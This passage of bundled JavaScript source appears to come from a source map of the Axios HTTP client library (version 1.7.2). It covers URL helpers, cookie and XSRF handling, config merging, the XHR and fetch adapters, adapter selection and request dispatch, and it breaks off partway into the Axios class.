/**\n * Parse a URL to discover its components\n *\n * @param {String} url The URL to be parsed\n * @returns {Object}\n */\n function resolveURL(url) {\n let href = url;\n\n if (msie) {\n // IE needs attribute set twice to normalize properties\n urlParsingNode.setAttribute('href', href);\n href = urlParsingNode.href;\n }\n\n urlParsingNode.setAttribute('href', href);\n\n // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n return {\n href: urlParsingNode.href,\n protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n host: urlParsingNode.host,\n search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n hostname: urlParsingNode.hostname,\n port: urlParsingNode.port,\n pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n urlParsingNode.pathname :\n '/' + urlParsingNode.pathname\n };\n }\n\n originURL = resolveURL(window.location.href);\n\n /**\n * Determine if a URL shares the same origin as the current location\n *\n * @param {String} requestURL The URL to test\n * @returns {boolean} True if URL shares the same origin, otherwise false\n */\n return function isURLSameOrigin(requestURL) {\n const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n return (parsed.protocol === originURL.protocol &&\n parsed.host === originURL.host);\n };\n })() :\n\n // Non standard browser envs (web workers, react-native) lack needed support.\n (function nonStandardBrowserEnv() {\n return function isURLSameOrigin() {\n return true;\n };\n })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n // Standard browser envs support document.cookie\n {\n write(name, value, expires, path, domain, secure) {\n const cookie = [name + '=' + encodeURIComponent(value)];\n\n utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n utils.isString(path) && cookie.push('path=' + path);\n\n utils.isString(domain) && cookie.push('domain=' + domain);\n\n secure === true && cookie.push('secure');\n\n document.cookie = cookie.join('; ');\n },\n\n read(name) {\n const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n return (match ? decodeURIComponent(match[3]) : null);\n },\n\n remove(name) {\n this.write(name, '', Date.now() - 86400000);\n }\n }\n\n :\n\n // Non-standard browser env (web workers, react-native) lack needed support.\n {\n write() {},\n read() {\n return null;\n },\n remove() {}\n };\n\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n // by any combination of letters, digits, plus, period, or hyphen.\n return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n return relativeURL\n ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n : baseURL;\n}\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n if (baseURL && !isAbsoluteURL(requestedURL)) {\n return combineURLs(baseURL, requestedURL);\n }\n return requestedURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n // eslint-disable-next-line no-param-reassign\n config2 = config2 || {};\n const config = {};\n\n function getMergedValue(target, source, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({caseless}, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDeepProperties(a, b, caseless) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(a, b, caseless);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a, caseless);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function valueFromConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function defaultToConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDirectKeys(a, b, prop) {\n if (prop in config2) {\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(undefined, a);\n }\n }\n\n const mergeMap = {\n url: valueFromConfig2,\n method: valueFromConfig2,\n data: valueFromConfig2,\n baseURL: defaultToConfig2,\n transformRequest: defaultToConfig2,\n transformResponse: defaultToConfig2,\n paramsSerializer: defaultToConfig2,\n timeout: defaultToConfig2,\n timeoutMessage: defaultToConfig2,\n withCredentials: defaultToConfig2,\n withXSRFToken: defaultToConfig2,\n adapter: defaultToConfig2,\n responseType: defaultToConfig2,\n xsrfCookieName: defaultToConfig2,\n xsrfHeaderName: defaultToConfig2,\n onUploadProgress: defaultToConfig2,\n onDownloadProgress: defaultToConfig2,\n decompress: defaultToConfig2,\n maxContentLength: defaultToConfig2,\n maxBodyLength: defaultToConfig2,\n beforeRedirect: defaultToConfig2,\n transport: defaultToConfig2,\n httpAgent: defaultToConfig2,\n httpsAgent: defaultToConfig2,\n cancelToken: defaultToConfig2,\n socketPath: defaultToConfig2,\n responseEncoding: defaultToConfig2,\n validateStatus: mergeDirectKeys,\n headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n };\n\n utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n });\n\n return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n const newConfig = mergeConfig({}, config);\n\n let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n newConfig.headers = headers = AxiosHeaders.from(headers);\n\n newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n // HTTP basic authentication\n if (auth) {\n headers.set('Authorization', 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n );\n }\n\n let contentType;\n\n if (utils.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n headers.setContentType(undefined); // Let the browser set it\n } else if ((contentType = headers.getContentType()) !== false) {\n // fix semicolon duplication issue for ReactNative FormData implementation\n const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n }\n }\n\n // Add xsrf header\n // This is only done if running in a standard browser environment.\n // Specifically not if we're in a web worker, or react-native.\n\n if (platform.hasStandardBrowserEnv) {\n withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n // Add xsrf header\n const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n }\n }\n\n return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n return new Promise(function dispatchXhrRequest(resolve, reject) {\n const _config = resolveConfig(config);\n let requestData = _config.data;\n const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n let {responseType} = _config;\n let onCanceled;\n function done() {\n if (_config.cancelToken) {\n _config.cancelToken.unsubscribe(onCanceled);\n }\n\n if (_config.signal) {\n _config.signal.removeEventListener('abort', onCanceled);\n }\n }\n\n let request = new XMLHttpRequest();\n\n request.open(_config.method.toUpperCase(), _config.url, true);\n\n // Set the request timeout in MS\n request.timeout = _config.timeout;\n\n function onloadend() {\n if (!request) {\n return;\n }\n // Prepare the response\n const responseHeaders = AxiosHeaders.from(\n 'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n );\n const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n request.responseText : request.response;\n const response = {\n data: responseData,\n status: request.status,\n statusText: request.statusText,\n headers: responseHeaders,\n config,\n request\n };\n\n settle(function _resolve(value) {\n resolve(value);\n done();\n }, function _reject(err) {\n reject(err);\n done();\n }, response);\n\n // Clean up request\n request = null;\n }\n\n if ('onloadend' in request) {\n // Use onloadend if available\n request.onloadend = onloadend;\n } else {\n // Listen for ready state to emulate onloadend\n request.onreadystatechange = function handleLoad() {\n if (!request || request.readyState !== 4) {\n return;\n }\n\n // The request errored out and we didn't get a response, this will be\n // handled by onerror instead\n // With one exception: request that using file: protocol, most browsers\n // will return status as 0 even though it's a successful request\n if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n return;\n }\n // readystate handler is calling before onerror or ontimeout handlers,\n // so we should call onloadend on the next 'tick'\n setTimeout(onloadend);\n };\n }\n\n // Handle browser request cancellation (as opposed to a manual cancellation)\n request.onabort = function handleAbort() {\n if (!request) {\n return;\n }\n\n reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle low level network errors\n request.onerror = function handleError() {\n // Real errors are hidden from us by the browser\n // onerror should only fire if it's a network error\n reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle timeout\n request.ontimeout = function handleTimeout() {\n let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n const transitional = _config.transitional || transitionalDefaults;\n if (_config.timeoutErrorMessage) {\n timeoutErrorMessage = _config.timeoutErrorMessage;\n }\n reject(new AxiosError(\n timeoutErrorMessage,\n transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n _config,\n request));\n\n // Clean up request\n request = null;\n };\n\n // Remove Content-Type if data is undefined\n requestData === undefined && requestHeaders.setContentType(null);\n\n // Add headers to the request\n if ('setRequestHeader' in request) {\n utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n request.setRequestHeader(key, val);\n });\n }\n\n // Add withCredentials to request if needed\n if (!utils.isUndefined(_config.withCredentials)) {\n request.withCredentials = !!_config.withCredentials;\n }\n\n // Add responseType to request if needed\n if (responseType && responseType !== 'json') {\n request.responseType = _config.responseType;\n }\n\n // Handle progress if needed\n if (typeof _config.onDownloadProgress === 'function') {\n request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n }\n\n // Not all browsers support upload events\n if (typeof _config.onUploadProgress === 'function' && request.upload) {\n request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n }\n\n if (_config.cancelToken || _config.signal) {\n // Handle cancellation\n // eslint-disable-next-line func-names\n onCanceled = cancel => {\n if (!request) {\n return;\n }\n reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n request.abort();\n request = null;\n };\n\n _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n if (_config.signal) {\n _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n }\n }\n\n const protocol = parseProtocol(_config.url);\n\n if (protocol && platform.protocols.indexOf(protocol) === -1) {\n reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n return;\n }\n\n\n // Send the request\n request.send(requestData || null);\n });\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n let controller = new AbortController();\n\n let aborted;\n\n const onabort = function (cancel) {\n if (!aborted) {\n aborted = true;\n unsubscribe();\n const err = cancel instanceof Error ? cancel : this.reason;\n controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n }\n }\n\n let timer = timeout && setTimeout(() => {\n onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n }, timeout)\n\n const unsubscribe = () => {\n if (signals) {\n timer && clearTimeout(timer);\n timer = null;\n signals.forEach(signal => {\n signal &&\n (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n });\n signals = null;\n }\n }\n\n signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n const {signal} = controller;\n\n signal.unsubscribe = unsubscribe;\n\n return [signal, () => {\n timer && clearTimeout(timer);\n timer = null;\n }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n let len = chunk.byteLength;\n\n if (!chunkSize || len < chunkSize) {\n yield chunk;\n return;\n }\n\n let pos = 0;\n let end;\n\n while (pos < len) {\n end = pos + chunkSize;\n yield chunk.slice(pos, end);\n pos = end;\n }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n for await (const chunk of iterable) {\n yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n const iterator = readBytes(stream, chunkSize, encode);\n\n let bytes = 0;\n\n return new ReadableStream({\n type: 'bytes',\n\n async pull(controller) {\n const {done, value} = await iterator.next();\n\n if (done) {\n controller.close();\n onFinish();\n return;\n }\n\n let len = value.byteLength;\n onProgress && onProgress(bytes += len);\n controller.enqueue(new Uint8Array(value));\n },\n cancel(reason) {\n onFinish(reason);\n return iterator.return();\n }\n }, {\n highWaterMark: 2\n })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n const lengthComputable = total != null;\n return (loaded) => setTimeout(() => fn({\n lengthComputable,\n total,\n loaded\n }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n let duplexAccessed = false;\n\n const hasContentType = new Request(platform.origin, {\n body: new ReadableStream(),\n method: 'POST',\n get duplex() {\n duplexAccessed = true;\n return 'half';\n },\n }).headers.has('Content-Type');\n\n return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n try {\n return utils.isReadableStream(new Response('').body);\n } catch(err) {\n // return undefined\n }\n})();\n\nconst resolvers = {\n stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n (_, config) => {\n throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n })\n });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n\n if(utils.isBlob(body)) {\n return body.size;\n }\n\n if(utils.isSpecCompliantForm(body)) {\n return (await new Request(body).arrayBuffer()).byteLength;\n }\n\n if(utils.isArrayBufferView(body)) {\n return body.byteLength;\n }\n\n if(utils.isURLSearchParams(body)) {\n body = body + '';\n }\n\n if(utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n\n return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n let {\n url,\n method,\n data,\n signal,\n cancelToken,\n timeout,\n onDownloadProgress,\n onUploadProgress,\n responseType,\n headers,\n withCredentials = 'same-origin',\n fetchOptions\n } = resolveConfig(config);\n\n responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n composeSignals([signal, cancelToken], timeout) : [];\n\n let finished, request;\n\n const onFinish = () => {\n !finished && setTimeout(() => {\n composedSignal && composedSignal.unsubscribe();\n });\n\n finished = true;\n }\n\n let requestContentLength;\n\n try {\n if (\n onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n ) {\n let _request = new Request(url, {\n method: 'POST',\n body: data,\n duplex: \"half\"\n });\n\n let contentTypeHeader;\n\n if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n headers.setContentType(contentTypeHeader)\n }\n\n if (_request.body) {\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n requestContentLength,\n progressEventReducer(onUploadProgress)\n ), null, encodeText);\n }\n }\n\n if (!utils.isString(withCredentials)) {\n withCredentials = withCredentials ? 'cors' : 'omit';\n }\n\n request = new Request(url, {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: headers.normalize().toJSON(),\n body: data,\n duplex: \"half\",\n withCredentials\n });\n\n let response = await fetch(request);\n\n const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n const options = {};\n\n ['status', 'statusText', 'headers'].forEach(prop => {\n options[prop] = response[prop];\n });\n\n const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n response = new Response(\n trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n responseContentLength,\n progressEventReducer(onDownloadProgress, true)\n ), isStreamResponse && onFinish, encodeText),\n options\n );\n }\n\n responseType = responseType || 'text';\n\n let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n !isStreamResponse && onFinish();\n\n stopTimeout && stopTimeout();\n\n return await new Promise((resolve, reject) => {\n settle(resolve, reject, {\n data: responseData,\n headers: AxiosHeaders.from(response.headers),\n status: response.status,\n statusText: response.statusText,\n config,\n request\n })\n })\n } catch (err) {\n onFinish();\n\n if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n throw Object.assign(\n new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n {\n cause: err.cause || err\n }\n )\n }\n\n throw AxiosError.from(err, err && err.code, config, request);\n }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n http: httpAdapter,\n xhr: xhrAdapter,\n fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n if (fn) {\n try {\n Object.defineProperty(fn, 'name', {value});\n } catch (e) {\n // eslint-disable-next-line no-empty\n }\n Object.defineProperty(fn, 'adapterName', {value});\n }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n getAdapter: (adapters) => {\n adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n const {length} = adapters;\n let nameOrAdapter;\n let adapter;\n\n const rejectedReasons = {};\n\n for (let i = 0; i < length; i++) {\n nameOrAdapter = adapters[i];\n let id;\n\n adapter = nameOrAdapter;\n\n if (!isResolvedHandle(nameOrAdapter)) {\n adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n if (adapter === undefined) {\n throw new AxiosError(`Unknown adapter '${id}'`);\n }\n }\n\n if (adapter) {\n break;\n }\n\n rejectedReasons[id || '#' + i] = adapter;\n }\n\n if (!adapter) {\n\n const reasons = Object.entries(rejectedReasons)\n .map(([id, state]) => `adapter ${id} ` +\n (state === false ? 'is not supported by the environment' : 'is not available in the build')\n );\n\n let s = length ?\n (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n 'as no adapter specified';\n\n throw new AxiosError(\n `There is no suitable adapter to dispatch the request ` + s,\n 'ERR_NOT_SUPPORT'\n );\n }\n\n return adapter;\n },\n adapters: knownAdapters\n}\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n if (config.cancelToken) {\n config.cancelToken.throwIfRequested();\n }\n\n if (config.signal && config.signal.aborted) {\n throw new CanceledError(null, config);\n }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n throwIfCancellationRequested(config);\n\n config.headers = AxiosHeaders.from(config.headers);\n\n // Transform request data\n config.data = transformData.call(\n config,\n config.transformRequest\n );\n\n if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n config.headers.setContentType('application/x-www-form-urlencoded', false);\n }\n\n const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n return adapter(config).then(function onAdapterResolution(response) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n response.data = transformData.call(\n config,\n config.transformResponse,\n response\n );\n\n response.headers = AxiosHeaders.from(response.headers);\n\n return response;\n }, function onAdapterRejection(reason) {\n if (!isCancel(reason)) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n if (reason && reason.response) {\n reason.response.data = transformData.call(\n config,\n config.transformResponse,\n reason.response\n );\n reason.response.headers = AxiosHeaders.from(reason.response.headers);\n }\n }\n\n return Promise.reject(reason);\n });\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n validators[type] = function validator(thing) {\n return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n function formatMessage(opt, desc) {\n return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n }\n\n // eslint-disable-next-line func-names\n return (value, opt, opts) => {\n if (validator === false) {\n throw new AxiosError(\n formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n AxiosError.ERR_DEPRECATED\n );\n }\n\n if (version && !deprecatedWarnings[opt]) {\n deprecatedWarnings[opt] = true;\n // eslint-disable-next-line no-console\n console.warn(\n formatMessage(\n opt,\n ' has been deprecated since v' + version + ' and will be removed in the near future'\n )\n );\n }\n\n return validator ? validator(value, opt, opts) : true;\n };\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n if (typeof options !== 'object') {\n throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n }\n const keys = Object.keys(options);\n let i = keys.length;\n while (i-- > 0) {\n const opt = keys[i];\n const validator = schema[opt];\n if (validator) {\n const value = options[opt];\n const result = value === undefined || validator(value, opt, options);\n if (result !== true) {\n throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n }\n continue;\n }\n if (allowUnknown !== true) {\n throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n }\n }\n}\n\nexport default {\n assertOptions,\n validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n constructor(instanceConfig) {\n this.defaults = instanceConfig;\n this.interceptors = {\n request: new InterceptorManager(),\n response: new InterceptorManager()\n };\n }\n\n /**\n * Dispatch a request\n *\n * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n * @param {?Object} config\n *\n * @returns {Promise} The Promise to be fulfilled\n */\n async request(configOrUrl, config) {\n try {\n return await this._request(configOrUrl, config);\n } catch (err) {\n if (err instanceof Error) {\n let dummy;\n\n Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());\n\n // slice off the Error: ... line\n const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n try {\n if (!err.stack) {\n err.stack = stack;\n // match without the 2 top stack lines\n } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n err.stack += '\\n' + stack\n }\n } catch (e) {\n // ignore the case where \"stack\" is an un-writable property\n }\n }\n\n throw err;\n }\n }\n\n _request(configOrUrl, config) {\n /*eslint no-param-reassign:0*/\n // Allow for axios('example/url'[, config]) a la fetch API\n if (typeof configOrUrl === 'string') {\n config = config || {};\n config.url = configOrUrl;\n } else {\n config = configOrUrl || {};\n }\n\n config = mergeConfig(this.defaults, config);\n\n const {transitional, paramsSerializer, headers} = config;\n\n if (transitional !== undefined) {\n validator.assertOptions(transitional, {\n silentJSONParsing: validators.transitional(validators.boolean),\n forcedJSONParsing: validators.transitional(validators.boolean),\n clarifyTimeoutError: validators.transitional(validators.boolean)\n }, false);\n }\n\n if (paramsSerializer != null) {\n if (utils.isFunction(paramsSerializer)) {\n config.paramsSerializer = {\n serialize: paramsSerializer\n }\n } else {\n validator.assertOptions(paramsSerializer, {\n encode: validators.function,\n serialize: validators.function\n }, true);\n }\n }\n\n // Set config.method\n config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n // Flatten headers\n let contextHeaders = headers && utils.merge(\n headers.common,\n headers[config.method]\n );\n\n headers && utils.forEach(\n ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n (method) => {\n delete headers[method];\n }\n );\n\n config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n // filter out skipped interceptors\n const requestInterceptorChain = [];\n let synchronousRequestInterceptors = true;\n this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n return;\n }\n\n synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n });\n\n const responseInterceptorChain = [];\n this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n });\n\n let promise;\n let i = 0;\n let len;\n\n if (!synchronousRequestInterceptors) {\n const chain = [dispatchRequest.bind(this), 